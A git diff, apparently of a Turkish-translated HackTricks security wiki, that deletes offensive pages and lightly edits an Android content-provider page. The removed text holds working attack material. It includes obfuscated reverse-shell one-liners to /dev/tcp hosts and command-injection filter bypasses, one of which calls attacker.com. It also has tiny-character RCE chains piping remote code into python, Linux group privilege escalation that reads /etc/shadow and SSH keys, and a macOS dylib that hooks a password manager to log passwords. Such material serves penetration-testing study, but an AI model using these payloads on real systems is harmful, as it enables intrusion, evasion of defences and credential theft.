--dport 53 -j ACCEPT - -#default policies -iptables -P INPUT DROP -iptables -P FORWARD ACCEPT -iptables -P OUTPUT ACCEPT -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md deleted file mode 100644 index 8583edb78..000000000 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ /dev/null @@ -1,319 +0,0 @@ -# Linux Kısıtlamalarını Aşma - -{{#include ../../banners/hacktricks-training.md}} - -## Yaygın Kısıtlama Aşmaları - -### Ters Shell -```bash -# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time -echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' -# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h -``` -### Kısa Rev shell -```bash -#Trick from Dikline -#Get a rev shell with -(sh)0>/dev/tcp/10.10.10.10/443 -#Then get the out of the rev shell executing inside of it: -exec >&0 -``` -### Yasağı Kaldırma Yolları ve Yasaklı Kelimeler -```bash -# Question mark binary substitution -/usr/bin/p?ng # /usr/bin/ping -nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost - -# Wildcard(*) binary substitution -/usr/bin/who*mi # /usr/bin/whoami - -# Wildcard + local directory arguments -touch -- -la # -- stops processing options after the -- -ls * -echo * #List current files and folders with echo and wildcard - -# [chars] -/usr/bin/n[c] # /usr/bin/nc - -# Quotes -'p'i'n'g # ping -"w"h"o"a"m"i # whoami -ech''o test # echo test -ech""o test # echo test -bas''e64 # base64 - -#Backslashes -\u\n\a\m\e \-\a # uname -a -/\b\i\n/////s\h - -# $@ -who$@ami #whoami - -# Transformations (case, reverse, base64) -$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case -$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash) -$(rev<<<'imaohw') #whoami -bash<<<$(base64 -d<< /tmp/[ -chmod +x [ -export PATH=/tmp:$PATH -if [ "a" ]; then echo 1; fi # Will print hello! -``` -### Polyglot komut enjeksiyonu -```bash -1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} -/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ -``` -### Potansiyel regex'leri atlatma -```bash -# A regex that only allow letters and numbers might be vulnerable to new line characters -1%0a`curl http://attacker.com` -``` -### Bashfuscator -```bash -# From https://github.com/Bashfuscator/Bashfuscator -./bashfuscator -c 'cat /etc/passwd' -``` -### 5 karakterle RCE -```bash -# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge -#Oragnge Tsai solution -## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date -http://host/?cmd=>ls\ -http://host/?cmd=ls>_ -http://host/?cmd=>\ \ -http://host/?cmd=>-t\ -http://host/?cmd=>\>g -http://host/?cmd=ls>>_ - -## Step2: generate `curl orange.tw|python` to file "g" -## by creating the necesary filenames and writting that content to file "g" executing the previous generated file -http://host/?cmd=>on -http://host/?cmd=>th\ -http://host/?cmd=>py\ -http://host/?cmd=>\|\ -http://host/?cmd=>tw\ -http://host/?cmd=>e.\ -http://host/?cmd=>ng\ -http://host/?cmd=>ra\ -http://host/?cmd=>o\ -http://host/?cmd=>\ \ -http://host/?cmd=>rl\ -http://host/?cmd=>cu\ -http://host/?cmd=sh _ -# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file - -## Finally execute the file "g" -http://host/?cmd=sh g - - -# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*" -https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -## Execute tar command over a folder -http://52.199.204.34/?cmd=>tar -http://52.199.204.34/?cmd=>zcf -http://52.199.204.34/?cmd=>zzz -http://52.199.204.34/?cmd=*%20/h* - -# Another curiosity if you can read files of the current folder -ln /f* -## If there is a file /flag.txt that will create a hard link -## to it in the current folder -``` -### 4 karakterle RCE -```bash -# In a similar fashion to the previous bypass this one just need 4 chars to execute commands -# it will follow the same principle of creating the command `ls -t>g` in a file -# and then generate the full command in filenames -# generate "g> ht- sl" to file "v" -'>dir' -'>sl' -'>g\>' -'>ht-' -'*>v' - -# reverse file "v" to file "x", content "ls -th >g" -'>rev' -'*v>x' - -# generate "curl orange.tw|python;" -'>\;\\' -'>on\\' -'>th\\' -'>py\\' -'>\|\\' -'>tw\\' -'>e.\\' -'>ng\\' -'>ra\\' -'>o\\' -'>\ \\' -'>rl\\' -'>cu\\' - -# got shell -'sh x' -'sh g' -``` -## Salt Okuma/Sadece Çalıştırma/Distroless Bypass - -Eğer **salt okuma ve sadece çalıştırma korumalarına** sahip bir dosya sistemindeyseniz veya hatta bir distroless konteynerdeyseniz, yine de **rastgele ikili dosyaları çalıştırmanın yolları vardır, hatta bir shell!:** - -{{#ref}} -../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ -{{#endref}} - -## Chroot & Diğer Hapisler Bypass - -{{#ref}} -../privilege-escalation/escaping-from-limited-bash.md -{{#endref}} - -## Referanslar & Daha Fazla - -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) -- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) -- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md deleted file mode 100644 index ad278004f..000000000 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ /dev/null @@ -1,23 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -Yum ile ilgili daha fazla örnek [gtfobins](https://gtfobins.github.io/gtfobins/yum/) üzerinde bulunabilir. - -# RPM Paketleri aracılığıyla rastgele komutlar çalıştırma - -## Ortamı Kontrol Etme - -Bu vektörü kullanabilmek için kullanıcının yum komutlarını daha yüksek ayrıcalıklara sahip bir kullanıcı olarak, yani root olarak çalıştırabilmesi gerekmektedir. - -### Bu vektörün çalışan bir örneği - -Bu açığın çalışan bir örneği [tryhackme](https://tryhackme.com) üzerindeki [daily bugle](https://tryhackme.com/room/dailybugle) odasında bulunabilir. - -## RPM Paketleme - -Aşağıdaki bölümde, [fpm](https://github.com/jordansissel/fpm) kullanarak bir ters shell'i RPM içine paketlemeyi ele alacağım. - -Aşağıdaki örnek, saldırgan tarafından tanımlanabilecek rastgele bir betik ile bir ön yükleme tetikleyicisi içeren bir paket oluşturur. Bu paket yüklendiğinde, rastgele komutu çalıştıracaktır. Gösterim için basit bir ters netcat shell örneği kullandım, ancak bu gerektiği gibi değiştirilebilir. -```text - -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md deleted file mode 100644 index 43f26f15c..000000000 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ /dev/null @@ -1,136 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Sudo/Admin Grupları - -## **PE - Yöntem 1** - -**Bazen**, **varsayılan olarak \(ya da bazı yazılımlar bunu gerektirdiği için\)** **/etc/sudoers** dosyası içinde bu satırlardan bazılarını bulabilirsiniz: -```bash -# Allow members of group sudo to execute any command -%sudo ALL=(ALL:ALL) ALL - -# Allow members of group admin to execute any command -%admin ALL=(ALL:ALL) ALL -``` -Bu, **sudo veya admin grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir. - -Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**: -```text -sudo su -``` -## PE - Yöntem 2 - -Tüm suid ikili dosyaları bulun ve **Pkexec** ikili dosyasının olup olmadığını kontrol edin: -```bash -find / -perm -4000 2>/dev/null -``` -Eğer pkexec ikilisinin SUID ikilisi olduğunu ve sudo veya admin grubuna ait olduğunuzu bulursanız, muhtemelen pkexec kullanarak ikilileri sudo olarak çalıştırabilirsiniz. İçeriği kontrol edin: -```bash -cat /etc/polkit-1/localauthority.conf.d/* -``` -Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **varsayılan olarak** **sudo veya admin** gibi bazı gruplar **görünebilir**. - -**Root olmak için şunu çalıştırabilirsiniz**: -```bash -pkexec "/bin/sh" #You will be prompted for your user password -``` -Eğer **pkexec** komutunu çalıştırmaya çalışırsanız ve bu **hata** ile karşılaşırsanız: -```bash -polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie -==== AUTHENTICATION FAILED === -Error executing command as another user: Not authorized -``` -**Bu, izinlerinizin olmaması nedeniyle değil, bir GUI olmadan bağlı olmamanızdan kaynaklanıyor**. Bu sorun için bir çözüm burada mevcut: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2 farklı ssh oturumuna** ihtiyacınız var: -```bash:session1 -echo $$ #Step1: Get current PID -pkexec "/bin/bash" #Step 3, execute pkexec -#Step 5, if correctly authenticate, you will have a root session -``` - -```bash:session2 -pkttyagent --process #Step 2, attach pkttyagent to session1 -#Step 4, you will be asked in this session to authenticate to pkexec -``` -# Wheel Grubu - -**Bazen**, **varsayılan olarak** **/etc/sudoers** dosyası içinde bu satırı bulabilirsiniz: -```text -%wheel ALL=(ALL:ALL) ALL -``` -Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir. - -Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**: -```text -sudo su -``` -# Shadow Grubu - -**shadow** grubundaki kullanıcılar **/etc/shadow** dosyasını **okuyabilir**: -```text --rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow -``` -Bu ayrıcalık neredeyse **root erişimi ile eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz. - -Dosyalar:`/dev/sd[a-z][1-9]` -```text -debugfs /dev/sda1 -debugfs: cd /root -debugfs: ls -debugfs: cat /root/.ssh/id_rsa -debugfs: cat /etc/shadow -``` -Debugfs kullanarak **dosya yazma** işlemi de yapabileceğinizi unutmayın. Örneğin, `/tmp/asd1.txt` dosyasını `/tmp/asd2.txt` dosyasına kopyalamak için şunu yapabilirsiniz: -```bash -debugfs -w /dev/sda1 -debugfs: dump /tmp/asd1.txt /tmp/asd2.txt -``` -Ancak, **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız \(örneğin `/etc/shadow` veya `/etc/passwd`\) "**İzin reddedildi**" hatası alırsınız. - -# Video Grubu - -`w` komutunu kullanarak **sistemde kimlerin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir: -```bash -USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -yossi tty1 22:16 5:13m 0.05s 0.04s -bash -moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash -``` -**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder. - -**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın üzerindeki **mevcut görüntüyü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. -```bash -cat /dev/fb0 > /tmp/screen.raw -cat /sys/class/graphics/fb0/virtual_size -``` -**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi**'ni seçebilirsiniz: - -![](../../images/image%20%28208%29.png) - -Sonra Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi göstereni seçin\): - -![](../../images/image%20%28295%29.png) - -# Root Grubu - -Görünüşe göre varsayılan olarak **root grubunun üyeleri**, bazı **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek **diğer ilginç şeyleri** **değiştirme** erişimine sahip olabilir... - -**Root üyelerinin hangi dosyaları değiştirebileceğini kontrol edin**: -```bash -find / -group root -perm -g=w 2>/dev/null -``` -# Docker Grubu - -Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar. - -{{#ref}} -https://github.com/KrustyHack/docker-privilege-escalation -{{#endref}} - -{{#ref}} -https://fosterelli.co/privilege-escalation-via-docker.html -{{#endref}} - -# lxc/lxd Grubu - -[lxc - Yetki Yükseltme](lxd-privilege-escalation.md) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md deleted file mode 100644 index 37adc5543..000000000 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ /dev/null @@ -1,338 +0,0 @@ -# macOS Function Hooking - -{{#include ../../../banners/hacktricks-training.md}} - -## Function Interposing - -Bir **dylib** oluşturun ve içinde **`__interpose`** bölümü (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölüm) bulunan, **orijinal** ve **değiştirilmiş** fonksiyonlara atıfta bulunan **fonksiyon işaretçileri** çiftleri içersin. - -Sonra, **`DYLD_INSERT_LIBRARIES`** ile dylib'i **enjekte** edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). - -### Interpose printf - -{{#tabs}} -{{#tab name="interpose.c"}} -```c:interpose.c -// gcc -dynamiclib interpose.c -o interpose.dylib -#include -#include - -int my_printf(const char *format, ...) { -//va_list args; -//va_start(args, format); -//int ret = vprintf(format, args); -//va_end(args); - -int ret = printf("Hello from interpose\n"); -return ret; -} - -__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf -__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; -``` -{{#endtab}} - -{{#tab name="hello.c"}} -```c -//gcc hello.c -o hello -#include - -int main() { -printf("Hello World!\n"); -return 0; -} -``` -{{#endtab}} - -{{#tab name="interpose2.c"}} -```c -// Just another way to define an interpose -// gcc -dynamiclib interpose2.c -o interpose2.dylib - -#include - -#define DYLD_INTERPOSE(_replacement, _replacee) \ -__attribute__((used)) static struct { \ -const void* replacement; \ -const void* replacee; \ -} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ -(const void*) (unsigned long) &_replacement, \ -(const void*) (unsigned long) &_replacee \ -}; - -int my_printf(const char *format, ...) -{ -int ret = printf("Hello from interpose\n"); -return ret; -} - -DYLD_INTERPOSE(my_printf,printf); -``` -{{#endtab}} -{{#endtabs}} -```bash -DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello -Hello from interpose - -DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello -Hello from interpose -``` -## Method Swizzling - -ObjectiveC'de bir metod şu şekilde çağrılır: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** - -Gerekli olan **nesne**, **metod** ve **parametrelerdir**. Ve bir metod çağrıldığında bir **msg gönderilir** ve bu işlem **`objc_msgSend`** fonksiyonu kullanılarak yapılır: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` - -Nesne **`someObject`**, metod **`@selector(method1p1:p2:)`** ve argümanlar **value1**, **value2**'dir. - -Nesne yapıları takip edilerek, **metodların** **isimlerinin** ve **metod koduna** işaretçilerin **bulunduğu** bir **metodlar dizisine** ulaşmak mümkündür. - -> [!CAUTION] -> Metodlar ve sınıflar isimlerine göre erişildiğinden, bu bilginin ikili dosyada saklandığını unutmayın, bu nedenle `otool -ov
` veya [`class-dump
`](https://github.com/nygard/class-dump) ile geri alınması mümkündür. - -### Ham metodlara erişim - -Metodların adı, parametre sayısı veya adresi gibi bilgilerine aşağıdaki örnekte olduğu gibi erişmek mümkündür: -```objectivec -// gcc -framework Foundation test.m -o test - -#import -#import -#import - -int main() { -// Get class of the variable -NSString* str = @"This is an example"; -Class strClass = [str class]; -NSLog(@"str's Class name: %s", class_getName(strClass)); - -// Get parent class of a class -Class strSuper = class_getSuperclass(strClass); -NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - -// Get information about a method -SEL sel = @selector(length); -NSLog(@"Selector name: %@", NSStringFromSelector(sel)); -Method m = class_getInstanceMethod(strClass,sel); -NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); -NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - -// Iterate through the class hierarchy -NSLog(@"Listing methods:"); -Class currentClass = strClass; -while (currentClass != NULL) { -unsigned int inheritedMethodCount = 0; -Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - -NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - -for (unsigned int i = 0; i < inheritedMethodCount; i++) { -Method method = inheritedMethods[i]; -SEL selector = method_getName(method); -const char* methodName = sel_getName(selector); -unsigned long address = (unsigned long)method_getImplementation(m); -NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); -} - -// Free the memory allocated by class_copyMethodList -free(inheritedMethods); -currentClass = class_getSuperclass(currentClass); -} - -// Other ways to call uppercaseString method -if([str respondsToSelector:@selector(uppercaseString)]) { -NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; -NSLog(@"Uppercase string: %@", uppercaseString); -} - -// Using objc_msgSend directly -NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); -NSLog(@"Uppercase string: %@", uppercaseString2); - -// Calling the address directly -IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address -NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp -NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method -NSLog(@"Uppercase string: %@", uppercaseString3); - -return 0; -} -``` -### Method Swizzling with method_exchangeImplementations - -Fonksiyon **`method_exchangeImplementations`**, **bir fonksiyonun** **uygulamasının** **adresini** **diğerine değiştirmeye** **olanak tanır**. - -> [!CAUTION] -> Bu nedenle bir fonksiyon çağrıldığında **çalıştırılan diğeri**dir. -```objectivec -//gcc -framework Foundation swizzle_str.m -o swizzle_str - -#import -#import - - -// Create a new category for NSString with the method to execute -@interface NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original method -return [self swizzledSubstringFromIndex:from]; -} - -@end - -int main(int argc, const char * argv[]) { -// Perform method swizzling -Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); -Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); -method_exchangeImplementations(originalMethod, swizzledMethod); - -// We changed the address of one method for the other -// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex -// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -return 0; -} -``` -> [!WARNING] -> Bu durumda, eğer **meşru** yöntemin **uygulama kodu** **yöntem** **adını** **doğruluyorsa**, bu swizzling'i **tespit** edebilir ve çalışmasını engelleyebilir. -> -> Aşağıdaki teknik bu kısıtlamaya sahip değildir. - -### method_setImplementation ile Yöntem Swizzling - -Önceki format garip çünkü bir yöntemden diğerine 2 yöntemin uygulamasını değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir **yöntemin uygulamasını diğerine** **değiştirebilirsiniz**. - -Sadece, yeni uygulamadan çağırmayı planlıyorsanız, **orijinal olanın uygulama adresini saklamayı** unutmayın, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır. -```objectivec -#import -#import -#import - -static IMP original_substringFromIndex = NULL; - -@interface NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original implementation using objc_msgSendSuper -return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); -} - -@end - -int main(int argc, const char * argv[]) { -@autoreleasepool { -// Get the class of the target method -Class stringClass = [NSString class]; - -// Get the swizzled and original methods -Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - -// Get the function pointer to the swizzled method's implementation -IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - -// Swap the implementations -// It return the now overwritten implementation of the original method to store it -original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -// Set the original implementation back -method_setImplementation(originalMethod, original_substringFromIndex); - -return 0; -} -} -``` -## Hooking Attack Methodology - -Bu sayfada fonksiyonları hooklamak için farklı yollar tartışıldı. Ancak, bunlar **saldırı için süreç içinde kod çalıştırmayı** içeriyordu. - -Bunu yapmak için en kolay teknik, bir [Dyld'yi ortam değişkenleri aracılığıyla veya kaçırarak](../macos-dyld-hijacking-and-dyld_insert_libraries.md) enjekte etmektir. Ancak, bunun [Dylib süreç enjeksiyonu](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port) aracılığıyla da yapılabileceğini düşünüyorum. - -Ancak, her iki seçenek de **korumasız** ikili/durumlarla **sınırlıdır**. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin. - -Ancak, bir fonksiyon hooking saldırısı çok spesifiktir, bir saldırgan bunu **bir süreçten hassas bilgileri çalmak için** yapar (aksi takdirde sadece bir süreç enjeksiyonu saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen uygulamalarda bulunabilir. - -Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, uygulamanın Info.plist dosyasına **`DYLD_INSERT_LIBRARIES`** env değişkenini eklemek olacaktır. -```xml -LSEnvironment - -DYLD_INSERT_LIBRARIES -/Applications/Application.app/Contents/malicious.dylib - -``` -ve ardından uygulamayı **yeniden kaydet**: -```bash -/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app -``` -Kütüphaneye bilgileri dışa aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar... - -> [!CAUTION] -> Daha yeni macOS sürümlerinde, eğer uygulama ikili dosyasının **imzasını kaldırırsanız** ve daha önce çalıştırılmışsa, macOS **uygulamayı bir daha çalıştırmayacaktır**. - -#### Kütüphane örneği -```objectivec -// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib - -// If you added env vars in the Info.plist don't forget to call lsregister as explained before - -// Listen to the logs with something like: -// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"' - -#include -#import - -// Here will be stored the real method (setPassword in this case) address -static IMP real_setPassword = NULL; - -static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) -{ -// Function that will log the password and call the original setPassword(pass, file_path) method -NSLog(@"[+] Password is: %@", password); - -// After logging the password call the original method so nothing breaks. -return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); -} - -// Library constructor to execute -__attribute__((constructor)) -static void customConstructor(int argc, const char **argv) { -// Get the real method address to not lose it -Class classMPDocument = NSClassFromString(@"MPDocument"); -Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - -// Make the original method setPassword call the fake implementation one -IMP fake_IMP = (IMP)custom_setPassword; -real_setPassword = method_setImplementation(real_Method, fake_IMP); -} -``` -## Referanslar - -- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md deleted file mode 100644 index eb3792a1f..000000000 --- a/src/misc/references.md +++ /dev/null @@ -1,95 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#ref}} -https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick -{{#endref}} - -{{#ref}} -https://hausec.com/pentesting-cheatsheet/#_Toc475368982 -{{#endref}} - -{{#ref}} -https://anhtai.me/pentesting-cheatsheet/ -{{#endref}} - -{{#ref}} -https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html -{{#endref}} - -{{#ref}} -https://ired.team/offensive-security-experiments/offensive-security-cheetsheets -{{#endref}} - -{{#ref}} -https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html -{{#endref}} - -{{#ref}} -https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md -{{#endref}} - -{{#ref}} -https://anhtai.me/oscp-fun-guide/ -{{#endref}} - -{{#ref}} -https://www.thehacker.recipes/ -{{#endref}} - -{{#ref}} -https://github.com/swisskyrepo/PayloadsAllTheThings -{{#endref}} - -{{#ref}} -https://gtfobins.github.io/ -{{#endref}} - -{{#ref}} -https://github.com/RistBS/Awesome-RedTeam-Cheatsheet -{{#endref}} - -{{#ref}} -https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet -{{#endref}} - -{{#ref}} -https://hideandsec.sh/ -{{#endref}} - -{{#ref}} -https://cheatsheet.haax.fr/ -{{#endref}} - -{{#ref}} -https://infosecwriteups.com/ -{{#endref}} - -{{#ref}} -https://www.exploit-db.com/ -{{#endref}} - -{{#ref}} -https://wadcoms.github.io/ -{{#endref}} - -{{#ref}} -https://lolbas-project.github.io -{{#endref}} - -{{#ref}} -https://pentestbook.six2dez.com/ -{{#endref}} - -{{#ref}} -https://www.hackingarticles.in/ -{{#endref}} - -{{#ref}} -https://pentestlab.blog/ -{{#endref}} - -{{#ref}} -https://ippsec.rocks/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 04c73da25..47e75f0d4 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -1,12 +1,10 @@ # İçerik Sağlayıcıların Sömürülmesi -## İçerik Sağlayıcıların Sömürülmesi - {{#include ../../../banners/hacktricks-training.md}} ## Giriş -Veri, **bir uygulamadan diğerlerine** bir bileşen olan **içerik sağlayıcı** aracılığıyla talep üzerine sağlanır. Bu talepler, **ContentResolver sınıfı** yöntemleri aracılığıyla yönetilir. İçerik sağlayıcılar verilerini çeşitli yerlerde depolayabilir, örneğin **veritabanı**, **dosyalar** veya **ağ** üzerinden. +Veri, **bir uygulamadan diğerlerine** bir bileşen olan **içerik sağlayıcı** aracılığıyla talep üzerine sağlanır. Bu talepler, **ContentResolver sınıfı** yöntemleri aracılığıyla yönetilir. İçerik sağlayıcılar verilerini çeşitli yerlerde depolayabilir, örneğin **veritabanı**, **dosyalar** veya bir **ağ** üzerinden. _Manifest.xml_ dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğin: ```xml @@ -14,7 +12,7 @@ _Manifest.xml_ dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğ ``` -`content://com.mwr.example.sieve.DBContentProvider/Keys` erişmek için `READ_KEYS` izni gereklidir. Geliştiricinin, `/Keys`'i güvence altına almasına rağmen `/Keys/`'i beyan etmesi nedeniyle, `/Keys/` yolunun aşağıdaki bölümde erişilebilir olduğunu belirtmek ilginçtir. +`content://com.mwr.example.sieve.DBContentProvider/Keys` erişmek için `READ_KEYS` izni gereklidir. Geliştiricinin yaptığı bir hata nedeniyle `/Keys`'in korunduğu, ancak `/Keys/`'in korunmadığı ilginçtir. **Belki özel 